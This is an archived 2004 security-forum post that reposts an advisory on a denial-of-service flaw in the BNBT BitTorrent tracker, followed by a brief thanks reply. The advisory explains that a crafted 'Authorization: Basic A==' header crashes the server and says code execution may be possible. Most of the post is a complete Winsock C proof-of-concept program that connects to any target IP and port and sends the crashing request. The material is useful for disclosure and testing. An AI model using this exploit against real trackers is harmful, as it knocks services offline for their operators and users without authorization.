Bnbt Bittorrent Tracker Dos

Full Version: Bnbt Bittorrent Tracker Dos

GovernmentSecurity.org > The Archives > Exploit Articles

qcred11

May 22 2004, 06:00 AM

QUOTE

BNBT BitTorrent Tracker Denial Of Service
-----------------------------------------

Versions:
cbtt75_20040515
Beta 7.5 Release 2 and prior versions

Vendors:
http://bnbt.go-dedicated.com/
http://bnbteasytracker.sourceforge.net/
http://sourceforge.net/projects/bnbtusermods/

Date Released - 5.21.2004

------------------------------------
Product Description from the vendor:

BNBT was written by Trevor Hogan. BNBT is a complete port of the original Python BitTorrent tracker to
C++ for speed and efficiency. BNBT also offers many additional features beyond the original Python
BitTorrent tracker, plus it's easy to use and customizable. BNBT is covered under the GNU Lesser
General Public License (LGPL).

--------
Details:

A specifically crafted HTTP GET request which contains 'Authorization: Basic A==' will cause the BNBT
server to crash. It may be possible to execute arbitrary code. Previous versions are also affected by
this vulnerability. The bug is located in util.cpp in the Util_DecodeHTTPAuth function.

--------
Exploit:

Attached to this advisory is very basic PoC code which only causes the BNBT server to crash.

--------------
Tested on:
WindowsXP SP1

peace out,

--------------------------
badpack3t
www.security-protocols.com
--------------------------

/****************************/
PoC to crash the server
/****************************/

/* BNBT BitTorrent Tracker Denial Of Service

Versions:
cbtt75_20040515
Beta 7.5 Release 2 and prior versions

Vendors:
http://bnbt.go-dedicated.com/
http://bnbteasytracker.sourceforge.net/
http://sourceforge.net/projects/bnbtusermods/

The bug is located in util.cpp in the Util_DecodeHTTPAuth function.

Coded and Discovered by:
badpack3t <badpack3t@security-protocols.com>
.:sp research labs:.
www.security-protocols.com
5.21.2004

This PoC will only DoS the server to verify if it is vulnerable.
*/

#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

char exploit[] =

"GET / HTTP/1.0\r\n"
"Authorization: Basic A==\r\n\r\n";

int main(int argc, char *argv[])
{
WSADATA wsaData;
WORD wVersionRequested;
struct hostent *pTarget;
struct sockaddr_in sock;
char *target;
int port,bufsize;
SOCKET mysocket;

if (argc < 2)
{
printf("BNBT BitTorrent Tracker DoS by badpack3t\r\n <badpack3t@security-protocols.com>\r\n\r\n", argv[0]);
printf("Usage:\r\n %s <targetip> [targetport] (default is 6969)\r\n\r\n", argv[0]);
printf("www.security-protocols.com\r\n\r\n", argv[0]);
exit(1);
}

wVersionRequested = MAKEWORD(1, 1);
if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;

target = argv[1];
port = 6969;

if (argc >= 3) port = atoi(argv[2]);
bufsize = 1024;
if (argc >= 4) bufsize = atoi(argv[3]);

mysocket = socket(AF_INET, SOCK_STREAM, 0);
if(mysocket==INVALID_SOCKET)
{
printf("Socket error!\r\n");
exit(1);
}

printf("Resolving Hostnames...\n");
if ((pTarget = gethostbyname(target)) == NULL)
{
printf("Resolve of %s failed\n", argv[1]);
exit(1);
}

memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons((USHORT)port);

printf("Connecting...\n");
if ( (connect(mysocket, (struct sockaddr *)&sock, sizeof (sock) )))
{
printf("Couldn't connect to host.\n");
exit(1);
}

printf("Connected!...\n");
printf("Sending Payload...\n");
if (send(mysocket, exploit, sizeof(exploit)-1, 0) == -1)
{
printf("Error Sending the Exploit Payload\r\n");
closesocket(mysocket);
exit(1);
}

printf("Payload has been sent! Check if the webserver is dead.\r\n");
closesocket(mysocket);
WSACleanup();
return 0;
}

thorel

May 22 2004, 12:59 PM

thanks man, seems interesting

This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.